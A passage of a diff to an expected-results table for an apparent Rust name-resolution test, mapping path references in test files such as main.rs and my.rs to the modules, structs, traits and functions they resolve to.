main.rs:470:9:470:9 | g | main.rs:459:5:466:5 | fn g | -| main.rs:471:11:471:11 | S | main.rs:449:5:449:13 | struct S | -| main.rs:489:17:489:21 | super | main.rs:481:5:493:5 | mod m19 | -| main.rs:489:17:489:24 | ...::f | main.rs:482:9:484:9 | fn f | -| main.rs:490:17:490:21 | super | main.rs:481:5:493:5 | mod m19 | -| main.rs:490:17:490:28 | ...::super | main.rs:476:1:494:1 | mod m18 | -| main.rs:490:17:490:31 | ...::f | main.rs:477:5:479:5 | fn f | -| main.rs:507:13:507:17 | super | main.rs:496:1:521:1 | mod m21 | -| main.rs:507:13:507:22 | ...::m22 | main.rs:497:5:503:5 | mod m22 | -| main.rs:507:13:507:30 | ...::MyEnum | main.rs:498:9:500:9 | enum MyEnum | -| main.rs:508:13:508:16 | self | main.rs:498:9:500:9 | enum MyEnum | -| main.rs:512:13:512:17 | super | main.rs:496:1:521:1 | mod m21 | -| main.rs:512:13:512:22 | ...::m22 | main.rs:497:5:503:5 | mod m22 | -| main.rs:512:13:512:32 | ...::MyStruct | main.rs:502:9:502:28 | struct MyStruct | -| main.rs:513:13:513:16 | self | main.rs:502:9:502:28 | struct MyStruct | -| main.rs:517:21:517:26 | MyEnum | main.rs:498:9:500:9 | enum MyEnum | -| main.rs:517:21:517:29 | ...::A | main.rs:499:13:499:13 | A | -| main.rs:518:21:518:28 | MyStruct | main.rs:502:9:502:28 | struct MyStruct | -| main.rs:534:10:536:5 | Trait1::<...> | main.rs:524:5:529:5 | trait Trait1 | -| main.rs:535:7:535:10 | Self | main.rs:531:5:531:13 | struct S | -| main.rs:537:11:537:11 | S | main.rs:531:5:531:13 | struct S | -| main.rs:545:17:545:17 | S | main.rs:531:5:531:13 | struct S | -| main.rs:561:15:561:15 | T | main.rs:560:26:560:26 | T | -| main.rs:566:9:566:24 | GenericStruct::<...> | main.rs:559:5:562:5 | struct GenericStruct | -| main.rs:566:23:566:23 | T | main.rs:565:10:565:10 | T | -| main.rs:568:9:568:9 | T | main.rs:565:10:565:10 | T | -| main.rs:568:12:568:17 | TraitA | main.rs:551:5:553:5 | trait TraitA | -| main.rs:577:9:577:24 | GenericStruct::<...> | main.rs:559:5:562:5 | struct GenericStruct | -| main.rs:577:23:577:23 | T | main.rs:576:10:576:10 | T | -| main.rs:579:9:579:9 | T | main.rs:576:10:576:10 | T | -| main.rs:579:12:579:17 | TraitB | main.rs:555:5:557:5 | trait TraitB | -| main.rs:580:9:580:9 | T | main.rs:576:10:576:10 | T | -| main.rs:580:12:580:17 | TraitA | main.rs:551:5:553:5 | trait TraitA | -| main.rs:591:10:591:15 | TraitA | main.rs:551:5:553:5 | trait TraitA | -| main.rs:591:21:591:31 | Implementor | main.rs:588:5:588:23 | struct Implementor | -| main.rs:598:10:598:15 | TraitB | main.rs:555:5:557:5 | trait TraitB | -| main.rs:598:21:598:31 | Implementor | main.rs:588:5:588:23 | struct Implementor | -| main.rs:606:24:606:34 | Implementor | main.rs:588:5:588:23 | struct Implementor | -| main.rs:607:23:607:35 | GenericStruct | main.rs:559:5:562:5 | struct GenericStruct | -| main.rs:613:9:613:36 | GenericStruct::<...> | main.rs:559:5:562:5 | struct GenericStruct | -| main.rs:613:9:613:50 | ...::call_trait_a | main.rs:570:9:572:9 | fn call_trait_a | -| main.rs:613:25:613:35 | Implementor | main.rs:588:5:588:23 | struct Implementor | -| main.rs:616:9:616:36 | GenericStruct::<...> | main.rs:559:5:562:5 | struct GenericStruct | -| main.rs:616:9:616:47 | ...::call_both | main.rs:582:9:585:9 | fn call_both | -| main.rs:616:25:616:35 | Implementor | main.rs:588:5:588:23 | struct Implementor | -| main.rs:621:5:621:6 | my | main.rs:1:1:1:7 | mod my | -| main.rs:621:5:621:14 | ...::nested | my.rs:1:1:1:15 | mod nested | -| main.rs:621:5:621:23 | ...::nested1 | my/nested.rs:1:1:17:1 | mod nested1 | -| main.rs:621:5:621:32 | ...::nested2 | my/nested.rs:2:5:11:5 | mod nested2 | -| main.rs:621:5:621:35 | ...::f | my/nested.rs:3:9:5:9 | fn f | -| main.rs:622:5:622:6 | my | main.rs:1:1:1:7 | mod my | -| main.rs:622:5:622:9 | ...::f | my.rs:5:1:7:1 | fn f | -| main.rs:623:5:623:11 | nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | -| main.rs:623:5:623:20 | ...::nested3 | my2/nested2.rs:1:1:11:1 | mod nested3 | -| main.rs:623:5:623:29 | ...::nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | -| main.rs:623:5:623:32 | ...::f | my2/nested2.rs:3:9:5:9 | fn f | -| main.rs:624:5:624:5 | f | my2/nested2.rs:3:9:5:9 | fn f | -| main.rs:625:5:625:5 | g | my2/nested2.rs:7:9:9:9 | fn g | -| main.rs:626:5:626:9 | crate | main.rs:0:0:0:0 | Crate(main@0.0.1) | -| main.rs:626:5:626:12 | ...::h | main.rs:50:1:69:1 | fn h | -| main.rs:627:5:627:6 | m1 | main.rs:13:1:37:1 | mod m1 | -| main.rs:627:5:627:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | -| main.rs:627:5:627:13 | ...::g | main.rs:23:9:27:9 | fn g | -| main.rs:628:5:628:6 | m1 | main.rs:13:1:37:1 | mod m1 | -| main.rs:628:5:628:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | -| main.rs:628:5:628:14 | ...::m3 | main.rs:29:9:35:9 | mod m3 | -| main.rs:628:5:628:17 | ...::h | main.rs:30:27:34:13 | fn h | -| main.rs:629:5:629:6 | m4 | main.rs:39:1:46:1 | mod m4 | -| main.rs:629:5:629:9 | ...::i | main.rs:42:5:45:5 | fn i | -| main.rs:630:5:630:5 | h | main.rs:50:1:69:1 | fn h | -| main.rs:631:5:631:11 | f_alias | my2/nested2.rs:3:9:5:9 | fn f | -| main.rs:632:5:632:11 | g_alias | my2/nested2.rs:7:9:9:9 | fn g | -| main.rs:633:5:633:5 | j | main.rs:97:1:101:1 | fn j | -| main.rs:634:5:634:6 | m6 | main.rs:109:1:120:1 | mod m6 | -| main.rs:634:5:634:9 | ...::g | main.rs:114:5:119:5 | fn g | -| main.rs:635:5:635:6 | m7 | main.rs:122:1:137:1 | mod m7 | -| main.rs:635:5:635:9 | ...::f | main.rs:129:5:136:5 | fn f | -| main.rs:636:5:636:6 | m8 | main.rs:139:1:193:1 | mod m8 | -| main.rs:636:5:636:9 | ...::g | main.rs:177:5:192:5 | fn g | -| main.rs:637:5:637:6 | m9 | main.rs:195:1:203:1 | mod m9 | -| main.rs:637:5:637:9 | ...::f | main.rs:198:5:202:5 | fn f | -| main.rs:638:5:638:7 | m11 | main.rs:226:1:263:1 | mod m11 | -| main.rs:638:5:638:10 | ...::f | main.rs:231:5:234:5 | fn f | -| main.rs:639:5:639:7 | m15 | main.rs:294:1:348:1 | mod m15 | -| main.rs:639:5:639:10 | ...::f | main.rs:335:5:347:5 | fn f | -| main.rs:640:5:640:7 | m16 | main.rs:350:1:442:1 | mod m16 | -| main.rs:640:5:640:10 | ...::f | main.rs:417:5:441:5 | fn f | -| main.rs:641:5:641:7 | m17 | main.rs:444:1:474:1 | mod m17 | -| main.rs:641:5:641:10 | ...::f | main.rs:468:5:473:5 | fn f | -| main.rs:642:5:642:11 | nested6 | my2/nested2.rs:14:5:18:5 | mod nested6 | -| main.rs:642:5:642:14 | ...::f | my2/nested2.rs:15:9:17:9 | fn f | -| main.rs:643:5:643:11 | nested8 | my2/nested2.rs:22:5:26:5 | mod nested8 | -| main.rs:643:5:643:14 | ...::f | my2/nested2.rs:23:9:25:9 | fn f | -| main.rs:644:5:644:7 | my3 | my2/mod.rs:12:1:12:12 | mod my3 | -| main.rs:644:5:644:10 | ...::f | my2/my3/mod.rs:1:1:5:1 | fn f | -| main.rs:645:5:645:12 | nested_f | my/my4/my5/mod.rs:1:1:3:1 | fn f | -| main.rs:646:5:646:7 | m18 | main.rs:476:1:494:1 | mod m18 | -| main.rs:646:5:646:12 | ...::m19 | main.rs:481:5:493:5 | mod m19 | -| main.rs:646:5:646:17 | ...::m20 | main.rs:486:9:492:9 | mod m20 | -| main.rs:646:5:646:20 | ...::g | main.rs:487:13:491:13 | fn g | -| main.rs:647:5:647:7 | m23 | main.rs:523:1:548:1 | mod m23 | -| main.rs:647:5:647:10 | ...::f | main.rs:543:5:547:5 | fn f | -| main.rs:648:5:648:7 | m24 | main.rs:550:1:618:1 | mod m24 | -| main.rs:648:5:648:10 | ...::f | main.rs:604:5:617:5 | fn f | +| main.rs:125:13:125:15 | i32 | {EXTERNAL LOCATION} | struct i32 | +| main.rs:128:16:128:18 | i32 | {EXTERNAL LOCATION} | struct i32 | +| main.rs:134:19:134:24 | MyEnum | main.rs:123:5:131:5 | enum MyEnum | +| main.rs:137:17:137:22 | MyEnum | main.rs:123:5:131:5 | enum MyEnum | +| main.rs:137:17:137:25 | ...::A | main.rs:124:9:126:9 | A | +| main.rs:138:17:138:22 | MyEnum | main.rs:123:5:131:5 | enum MyEnum | +| main.rs:138:17:138:25 | ...::B | main.rs:126:12:129:9 | B | +| main.rs:139:9:139:14 | MyEnum | main.rs:123:5:131:5 | enum MyEnum | +| main.rs:139:9:139:17 | ...::C | main.rs:129:12:130:9 | C | +| main.rs:149:13:149:13 | f | main.rs:156:5:158:5 | fn f | +| main.rs:150:13:150:16 | Self | main.rs:144:5:152:5 | trait MyTrait | +| main.rs:150:13:150:19 | ...::f | main.rs:145:9:145:20 | fn f | +| main.rs:161:10:161:16 | MyTrait | main.rs:144:5:152:5 | trait MyTrait | +| main.rs:161:22:161:29 | MyStruct | main.rs:154:5:154:22 | struct MyStruct | +| main.rs:164:13:164:13 | f | main.rs:156:5:158:5 | fn f | +| main.rs:165:13:165:16 | Self | main.rs:160:5:171:5 | impl MyTrait for MyStruct { ... } | +| main.rs:165:13:165:19 | ...::g | main.rs:168:9:170:9 | fn g | +| main.rs:174:10:174:17 | MyStruct | main.rs:154:5:154:22 | struct MyStruct | +| main.rs:177:13:177:13 | f | main.rs:156:5:158:5 | fn f | +| main.rs:183:17:183:24 | MyStruct | main.rs:154:5:154:22 | struct MyStruct | +| main.rs:184:9:184:15 | MyTrait | main.rs:144:5:152:5 | trait MyTrait | +| main.rs:184:9:184:18 | ...::f | main.rs:145:9:145:20 | fn f | +| main.rs:185:9:185:16 | MyStruct | main.rs:154:5:154:22 | struct MyStruct | +| main.rs:185:9:185:19 | ...::f | main.rs:161:33:166:9 | fn f | +| main.rs:186:10:186:17 | MyStruct | main.rs:154:5:154:22 | struct MyStruct | +| main.rs:187:10:187:16 | MyTrait | main.rs:144:5:152:5 | trait MyTrait | +| main.rs:190:17:190:24 | MyStruct | main.rs:154:5:154:22 | struct MyStruct | +| main.rs:192:17:192:24 | MyStruct | main.rs:154:5:154:22 | struct MyStruct | +| main.rs:194:9:194:16 | MyStruct | main.rs:154:5:154:22 | struct MyStruct | +| main.rs:194:9:194:19 | ...::h | main.rs:174:21:178:9 | fn h | +| main.rs:203:19:203:22 | self | main.rs:199:1:207:1 | mod m9 | +| main.rs:203:19:203:32 | ...::MyStruct | main.rs:200:5:200:26 | struct MyStruct | +| main.rs:205:9:205:12 | self | main.rs:199:1:207:1 | mod m9 | +| main.rs:205:9:205:22 | ...::MyStruct | main.rs:200:5:200:26 | struct MyStruct | +| main.rs:215:12:215:12 | T | main.rs:212:7:212:7 | T | +| main.rs:220:12:220:12 | T | main.rs:219:14:219:14 | T | +| main.rs:222:7:224:7 | MyStruct::<...> | main.rs:210:5:216:5 | struct MyStruct | +| main.rs:223:9:223:9 | T | main.rs:219:14:219:14 | T | +| main.rs:226:9:226:16 | MyStruct | main.rs:210:5:216:5 | struct MyStruct | +| main.rs:236:17:236:19 | Foo | main.rs:231:5:231:21 | struct Foo | +| main.rs:237:9:237:11 | Foo | main.rs:233:5:233:15 | fn Foo | +| main.rs:246:9:246:11 | Bar | main.rs:242:5:244:5 | enum Bar | +| main.rs:246:9:246:19 | ...::FooBar | main.rs:243:9:243:17 | FooBar | +| main.rs:251:13:251:15 | Foo | main.rs:231:5:231:21 | struct Foo | +| main.rs:252:17:252:22 | FooBar | main.rs:243:9:243:17 | FooBar | +| main.rs:253:17:253:22 | FooBar | main.rs:248:5:248:18 | fn FooBar | +| main.rs:261:9:261:9 | E | main.rs:256:15:259:5 | enum E | +| main.rs:261:9:261:12 | ...::C | main.rs:258:9:258:9 | C | +| main.rs:264:17:264:17 | S | main.rs:256:5:256:13 | struct S | +| main.rs:265:17:265:17 | C | main.rs:258:9:258:9 | C | +| main.rs:278:16:278:16 | T | main.rs:272:7:272:7 | T | +| main.rs:279:14:279:17 | Self | main.rs:270:5:280:5 | trait MyParamTrait | +| main.rs:279:14:279:33 | ...::AssociatedType | main.rs:274:9:274:28 | type AssociatedType | +| main.rs:288:13:288:17 | crate | main.rs:0:0:0:0 | Crate(main@0.0.1) | +| main.rs:288:13:288:22 | ...::m13 | main.rs:283:1:296:1 | mod m13 | +| main.rs:288:13:288:25 | ...::f | main.rs:284:5:284:17 | fn f | +| main.rs:288:13:288:25 | ...::f | main.rs:284:19:285:19 | struct f | +| main.rs:291:17:291:17 | f | main.rs:284:19:285:19 | struct f | +| main.rs:292:21:292:21 | f | main.rs:284:19:285:19 | struct f | +| main.rs:293:13:293:13 | f | main.rs:284:5:284:17 | fn f | +| main.rs:307:9:307:14 | Trait1 | main.rs:299:5:303:5 | trait Trait1 | +| main.rs:310:13:310:16 | Self | main.rs:305:5:313:5 | trait Trait2 | +| main.rs:310:13:310:19 | ...::g | main.rs:302:9:302:20 | fn g | +| main.rs:318:10:318:15 | Trait1 | main.rs:299:5:303:5 | trait Trait1 | +| main.rs:319:11:319:11 | S | main.rs:315:5:315:13 | struct S | +| main.rs:322:13:322:16 | Self | main.rs:317:5:329:5 | impl Trait1 for S { ... } | +| main.rs:322:13:322:19 | ...::g | main.rs:326:9:328:9 | fn g | +| main.rs:332:10:332:15 | Trait2 | main.rs:305:5:313:5 | trait Trait2 | +| main.rs:333:11:333:11 | S | main.rs:315:5:315:13 | struct S | +| main.rs:342:17:342:17 | S | main.rs:315:5:315:13 | struct S | +| main.rs:343:10:343:10 | S | main.rs:315:5:315:13 | struct S | +| main.rs:344:14:344:19 | Trait1 | main.rs:299:5:303:5 | trait Trait1 | +| main.rs:346:10:346:10 | S | main.rs:315:5:315:13 | struct S | +| main.rs:347:14:347:19 | Trait2 | main.rs:305:5:313:5 | trait Trait2 | +| main.rs:349:9:349:9 | S | main.rs:315:5:315:13 | struct S | +| main.rs:349:9:349:12 | ...::g | main.rs:326:9:328:9 | fn g | +| main.rs:359:24:359:24 | T | main.rs:357:7:357:7 | T | +| main.rs:361:24:361:24 | T | main.rs:357:7:357:7 | T | +| main.rs:364:24:364:24 | T | main.rs:357:7:357:7 | T | +| main.rs:365:13:365:16 | Self | main.rs:355:5:371:5 | trait Trait1 | +| main.rs:365:13:365:19 | ...::g | main.rs:361:9:362:9 | fn g | +| main.rs:369:18:369:18 | T | main.rs:357:7:357:7 | T | +| main.rs:377:9:379:9 | Trait1::<...> | main.rs:355:5:371:5 | trait Trait1 | +| main.rs:378:11:378:11 | T | main.rs:375:7:375:7 | T | +| main.rs:380:24:380:24 | T | main.rs:375:7:375:7 | T | +| main.rs:382:13:382:16 | Self | main.rs:373:5:386:5 | trait Trait2 | +| main.rs:382:13:382:19 | ...::g | main.rs:361:9:362:9 | fn g | +| main.rs:384:13:384:16 | Self | main.rs:373:5:386:5 | trait Trait2 | +| main.rs:384:13:384:19 | ...::c | main.rs:369:9:370:9 | Const | +| main.rs:391:10:393:5 | Trait1::<...> | main.rs:355:5:371:5 | trait Trait1 | +| main.rs:392:7:392:7 | S | main.rs:388:5:388:13 | struct S | +| main.rs:394:11:394:11 | S | main.rs:388:5:388:13 | struct S | +| main.rs:395:24:395:24 | S | main.rs:388:5:388:13 | struct S | +| main.rs:397:13:397:16 | Self | main.rs:390:5:408:5 | impl Trait1::<...> for S { ... } | +| main.rs:397:13:397:19 | ...::g | main.rs:401:9:404:9 | fn g | +| main.rs:401:24:401:24 | S | main.rs:388:5:388:13 | struct S | +| main.rs:403:13:403:16 | Self | main.rs:390:5:408:5 | impl Trait1::<...> for S { ... } | +| main.rs:403:13:403:19 | ...::c | main.rs:406:9:407:9 | Const | +| main.rs:406:18:406:18 | S | main.rs:388:5:388:13 | struct S | +| main.rs:406:22:406:22 | S | main.rs:388:5:388:13 | struct S | +| main.rs:411:10:413:5 | Trait2::<...> | main.rs:373:5:386:5 | trait Trait2 | +| main.rs:412:7:412:7 | S | main.rs:388:5:388:13 | struct S | +| main.rs:414:11:414:11 | S | main.rs:388:5:388:13 | struct S | +| main.rs:415:24:415:24 | S | main.rs:388:5:388:13 | struct S | +| main.rs:417:13:417:16 | Self | main.rs:410:5:419:5 | impl Trait2::<...> for S { ... } | +| main.rs:424:17:424:17 | S | main.rs:388:5:388:13 | struct S | +| main.rs:425:10:425:10 | S | main.rs:388:5:388:13 | struct S | +| main.rs:426:14:428:11 | Trait1::<...> | main.rs:355:5:371:5 | trait Trait1 | +| main.rs:427:13:427:13 | S | main.rs:388:5:388:13 | struct S | +| main.rs:430:10:430:10 | S | main.rs:388:5:388:13 | struct S | +| main.rs:431:14:433:11 | Trait2::<...> | main.rs:373:5:386:5 | trait Trait2 | +| main.rs:432:13:432:13 | S | main.rs:388:5:388:13 | struct S | +| main.rs:435:9:435:9 | S | main.rs:388:5:388:13 | struct S | +| main.rs:435:9:435:12 | ...::g | main.rs:401:9:404:9 | fn g | +| main.rs:437:9:437:9 | S | main.rs:388:5:388:13 | struct S | +| main.rs:437:9:437:12 | ...::h | main.rs:364:9:367:9 | fn h | +| main.rs:439:9:439:9 | S | main.rs:388:5:388:13 | struct S | +| main.rs:439:9:439:12 | ...::c | main.rs:406:9:407:9 | Const | +| main.rs:440:10:440:10 | S | main.rs:388:5:388:13 | struct S | +| main.rs:441:14:443:11 | Trait1::<...> | main.rs:355:5:371:5 | trait Trait1 | +| main.rs:442:13:442:13 | S | main.rs:388:5:388:13 | struct S | +| main.rs:456:10:456:16 | MyTrait | main.rs:449:5:451:5 | trait MyTrait | +| main.rs:457:9:457:9 | S | main.rs:453:5:453:13 | struct S | +| main.rs:465:7:465:13 | MyTrait | main.rs:449:5:451:5 | trait MyTrait | +| main.rs:466:10:466:10 | T | main.rs:464:10:464:10 | T | +| main.rs:468:9:468:9 | T | main.rs:464:10:464:10 | T | +| main.rs:468:9:468:12 | ...::f | main.rs:450:9:450:20 | fn f | +| main.rs:469:9:469:15 | MyTrait | main.rs:449:5:451:5 | trait MyTrait | +| main.rs:469:9:469:18 | ...::f | main.rs:450:9:450:20 | fn f | +| main.rs:474:9:474:9 | g | main.rs:463:5:470:5 | fn g | +| main.rs:475:11:475:11 | S | main.rs:453:5:453:13 | struct S | +| main.rs:493:17:493:21 | super | main.rs:485:5:497:5 | mod m19 | +| main.rs:493:17:493:24 | ...::f | main.rs:486:9:488:9 | fn f | +| main.rs:494:17:494:21 | super | main.rs:485:5:497:5 | mod m19 | +| main.rs:494:17:494:28 | ...::super | main.rs:480:1:498:1 | mod m18 | +| main.rs:494:17:494:31 | ...::f | main.rs:481:5:483:5 | fn f | +| main.rs:511:13:511:17 | super | main.rs:500:1:525:1 | mod m21 | +| main.rs:511:13:511:22 | ...::m22 | main.rs:501:5:507:5 | mod m22 | +| main.rs:511:13:511:30 | ...::MyEnum | main.rs:502:9:504:9 | enum MyEnum | +| main.rs:512:13:512:16 | self | main.rs:502:9:504:9 | enum MyEnum | +| main.rs:516:13:516:17 | super | main.rs:500:1:525:1 | mod m21 | +| main.rs:516:13:516:22 | ...::m22 | main.rs:501:5:507:5 | mod m22 | +| main.rs:516:13:516:32 | ...::MyStruct | main.rs:506:9:506:28 | struct MyStruct | +| main.rs:517:13:517:16 | self | main.rs:506:9:506:28 | struct MyStruct | +| main.rs:521:21:521:26 | MyEnum | main.rs:502:9:504:9 | enum MyEnum | +| main.rs:521:21:521:29 | ...::A | main.rs:503:13:503:13 | A | +| main.rs:522:21:522:28 | MyStruct | main.rs:506:9:506:28 | struct MyStruct | +| main.rs:538:10:540:5 | Trait1::<...> | main.rs:528:5:533:5 | trait Trait1 | +| main.rs:539:7:539:10 | Self | main.rs:535:5:535:13 | struct S | +| main.rs:541:11:541:11 | S | main.rs:535:5:535:13 | struct S | +| main.rs:549:17:549:17 | S | main.rs:535:5:535:13 | struct S | +| main.rs:565:15:565:15 | T | main.rs:564:26:564:26 | T | +| main.rs:570:9:570:24 | GenericStruct::<...> | main.rs:563:5:566:5 | struct GenericStruct | +| main.rs:570:23:570:23 | T | main.rs:569:10:569:10 | T | +| main.rs:572:9:572:9 | T | main.rs:569:10:569:10 | T | +| main.rs:572:12:572:17 | TraitA | main.rs:555:5:557:5 | trait TraitA | +| main.rs:581:9:581:24 | GenericStruct::<...> | main.rs:563:5:566:5 | struct GenericStruct | +| main.rs:581:23:581:23 | T | main.rs:580:10:580:10 | T | +| main.rs:583:9:583:9 | T | main.rs:580:10:580:10 | T | +| main.rs:583:12:583:17 | TraitB | main.rs:559:5:561:5 | trait TraitB | +| main.rs:584:9:584:9 | T | main.rs:580:10:580:10 | T | +| main.rs:584:12:584:17 | TraitA | main.rs:555:5:557:5 | trait TraitA | +| main.rs:595:10:595:15 | TraitA | main.rs:555:5:557:5 | trait TraitA | +| main.rs:595:21:595:31 | Implementor | main.rs:592:5:592:23 | struct Implementor | +| main.rs:602:10:602:15 | TraitB | main.rs:559:5:561:5 | trait TraitB | +| main.rs:602:21:602:31 | Implementor | main.rs:592:5:592:23 | struct Implementor | +| main.rs:610:24:610:34 | Implementor | main.rs:592:5:592:23 | struct Implementor | +| main.rs:611:23:611:35 | GenericStruct | main.rs:563:5:566:5 | struct GenericStruct | +| main.rs:617:9:617:36 | GenericStruct::<...> | main.rs:563:5:566:5 | struct GenericStruct | +| main.rs:617:9:617:50 | ...::call_trait_a | main.rs:574:9:576:9 | fn call_trait_a | +| main.rs:617:25:617:35 | Implementor | main.rs:592:5:592:23 | struct Implementor | +| main.rs:620:9:620:36 | GenericStruct::<...> | main.rs:563:5:566:5 | struct GenericStruct | +| main.rs:620:9:620:47 | ...::call_both | main.rs:586:9:589:9 | fn call_both | +| main.rs:620:25:620:35 | Implementor | main.rs:592:5:592:23 | struct Implementor | +| main.rs:625:5:625:6 | my | main.rs:1:1:1:7 | mod my | +| main.rs:625:5:625:14 | ...::nested | my.rs:1:1:1:15 | mod nested | +| main.rs:625:5:625:23 | ...::nested1 | my/nested.rs:1:1:17:1 | mod nested1 | +| main.rs:625:5:625:32 | ...::nested2 | my/nested.rs:2:5:11:5 | mod nested2 | +| main.rs:625:5:625:35 | ...::f | my/nested.rs:3:9:5:9 | fn f | +| main.rs:626:5:626:6 | my | main.rs:1:1:1:7 | mod my | +| main.rs:626:5:626:9 | ...::f | my.rs:5:1:7:1 | fn f | +| main.rs:627:5:627:11 | nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | +| main.rs:627:5:627:20 | ...::nested3 | my2/nested2.rs:1:1:11:1 | mod nested3 | +| main.rs:627:5:627:29 | ...::nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | +| main.rs:627:5:627:32 | ...::f | my2/nested2.rs:3:9:5:9 | fn f | +| main.rs:628:5:628:5 | f | my2/nested2.rs:3:9:5:9 | fn f | +| main.rs:629:5:629:5 | g | my2/nested2.rs:7:9:9:9 | fn g | +| main.rs:630:5:630:9 | crate | main.rs:0:0:0:0 | Crate(main@0.0.1) | +| main.rs:630:5:630:12 | ...::h | main.rs:50:1:69:1 | fn h | +| main.rs:631:5:631:6 | m1 | main.rs:13:1:37:1 | mod m1 | +| main.rs:631:5:631:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | +| main.rs:631:5:631:13 | ...::g | main.rs:23:9:27:9 | fn g | +| main.rs:632:5:632:6 | m1 | main.rs:13:1:37:1 | mod m1 | +| main.rs:632:5:632:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | +| main.rs:632:5:632:14 | ...::m3 | main.rs:29:9:35:9 | mod m3 | +| main.rs:632:5:632:17 | ...::h | main.rs:30:27:34:13 | fn h | +| main.rs:633:5:633:6 | m4 | main.rs:39:1:46:1 | mod m4 | +| main.rs:633:5:633:9 | ...::i | main.rs:42:5:45:5 | fn i | +| main.rs:634:5:634:5 | h | main.rs:50:1:69:1 | fn h | +| main.rs:635:5:635:11 | f_alias | my2/nested2.rs:3:9:5:9 | fn f | +| main.rs:636:5:636:11 | g_alias | my2/nested2.rs:7:9:9:9 | fn g | +| main.rs:637:5:637:5 | j | main.rs:97:1:101:1 | fn j | +| main.rs:638:5:638:6 | m6 | main.rs:109:1:120:1 | mod m6 | +| main.rs:638:5:638:9 | ...::g | main.rs:114:5:119:5 | fn g | +| main.rs:639:5:639:6 | m7 | main.rs:122:1:141:1 | mod m7 | +| main.rs:639:5:639:9 | ...::f | main.rs:133:5:140:5 | fn f | +| main.rs:640:5:640:6 | m8 | main.rs:143:1:197:1 | mod m8 | +| main.rs:640:5:640:9 | ...::g | main.rs:181:5:196:5 | fn g | +| main.rs:641:5:641:6 | m9 | main.rs:199:1:207:1 | mod m9 | +| main.rs:641:5:641:9 | ...::f | main.rs:202:5:206:5 | fn f | +| main.rs:642:5:642:7 | m11 | main.rs:230:1:267:1 | mod m11 | +| main.rs:642:5:642:10 | ...::f | main.rs:235:5:238:5 | fn f | +| main.rs:643:5:643:7 | m15 | main.rs:298:1:352:1 | mod m15 | +| main.rs:643:5:643:10 | ...::f | main.rs:339:5:351:5 | fn f | +| main.rs:644:5:644:7 | m16 | main.rs:354:1:446:1 | mod m16 | +| main.rs:644:5:644:10 | ...::f | main.rs:421:5:445:5 | fn f | +| main.rs:645:5:645:7 | m17 | main.rs:448:1:478:1 | mod m17 | +| main.rs:645:5:645:10 | ...::f | main.rs:472:5:477:5 | fn f | +| main.rs:646:5:646:11 | nested6 | my2/nested2.rs:14:5:18:5 | mod nested6 | +| main.rs:646:5:646:14 | ...::f | my2/nested2.rs:15:9:17:9 | fn f | +| main.rs:647:5:647:11 | nested8 | my2/nested2.rs:22:5:26:5 | mod nested8 | +| main.rs:647:5:647:14 | ...::f | my2/nested2.rs:23:9:25:9 | fn f | +| main.rs:648:5:648:7 | my3 | my2/mod.rs:12:1:12:12 | mod my3 | +| main.rs:648:5:648:10 | ...::f | my2/my3/mod.rs:1:1:5:1 | fn f | +| main.rs:649:5:649:12 | nested_f | my/my4/my5/mod.rs:1:1:3:1 | fn f | +| main.rs:650:5:650:7 | m18 | main.rs:480:1:498:1 | mod m18 | +| main.rs:650:5:650:12 | ...::m19 | main.rs:485:5:497:5 | mod m19 | +| main.rs:650:5:650:17 | ...::m20 | main.rs:490:9:496:9 | mod m20 | +| main.rs:650:5:650:20 | ...::g | main.rs:491:13:495:13 | fn g | +| main.rs:651:5:651:7 | m23 | main.rs:527:1:552:1 | mod m23 | +| main.rs:651:5:651:10 | ...::f | main.rs:547:5:551:5 | fn f | +| main.rs:652:5:652:7 | m24 | main.rs:554:1:622:1 | mod m24 | +| main.rs:652:5:652:10 | ...::f | main.rs:608:5:621:5 | fn f | | my2/mod.rs:5:5:5:11 | nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | | my2/mod.rs:5:5:5:20 | ...::nested3 | my2/nested2.rs:1:1:11:1 | mod nested3 | | my2/mod.rs:5:5:5:29 | ...::nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | @@ -338,7 +340,7 @@ resolvePath | my2/my3/mod.rs:3:5:3:5 | g | my2/mod.rs:3:1:6:1 | fn g | | my2/my3/mod.rs:4:5:4:5 | h | main.rs:50:1:69:1 | fn h | | my2/my3/mod.rs:7:5:7:9 | super | my2/mod.rs:1:1:17:30 | SourceFile | -| my2/my3/mod.rs:7:5:7:16 | ...::super | main.rs:1:1:649:2 | SourceFile | +| my2/my3/mod.rs:7:5:7:16 | ...::super | main.rs:1:1:653:2 | SourceFile | | my2/my3/mod.rs:7:5:7:19 | ...::h | main.rs:50:1:69:1 | fn h | | my2/my3/mod.rs:8:5:8:9 | super | my2/mod.rs:1:1:17:30 | SourceFile | | my2/my3/mod.rs:8:5:8:12 | ...::g | my2/mod.rs:3:1:6:1 | fn g | @@ -348,16 +350,20 @@ resolvePath | my.rs:18:9:18:11 | my4 | my.rs:14:1:16:1 | mod my4 | | my.rs:18:9:18:16 | ...::my5 | my.rs:15:5:15:16 | mod my5 | | my.rs:18:9:18:19 | ...::f | my/my4/my5/mod.rs:1:1:3:1 | fn f | -| my.rs:22:5:22:9 | std | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/std/src/lib.rs:0:0:0:0 | Crate(std@0.0.0) | -| my.rs:22:5:22:17 | ...::result | file://:0:0:0:0 | mod result | -| my.rs:22:5:25:1 | ...::Result::<...> | file://:0:0:0:0 | enum Result | +| my.rs:22:5:22:9 | std | {EXTERNAL LOCATION} | Crate(std@0.0.0) | +| my.rs:22:5:22:17 | ...::result | {EXTERNAL LOCATION} | mod result | +| my.rs:22:5:24:12 | ...::Result::<...> | {EXTERNAL LOCATION} | enum Result | | my.rs:23:5:23:5 | T | my.rs:21:5:21:5 | T | -| my.rs:30:6:30:16 | Result::<...> | my.rs:20:1:25:2 | type Result<...> | -| my.rs:33:16:33:18 | Err | file://:0:0:0:0 | Err | -| my.rs:35:5:35:6 | Ok | file://:0:0:0:0 | Ok | +| my.rs:28:8:28:10 | i32 | {EXTERNAL LOCATION} | struct i32 | +| my.rs:29:8:29:10 | i32 | {EXTERNAL LOCATION} | struct i32 | +| my.rs:30:6:30:16 | Result::<...> | my.rs:18:34:25:1 | type 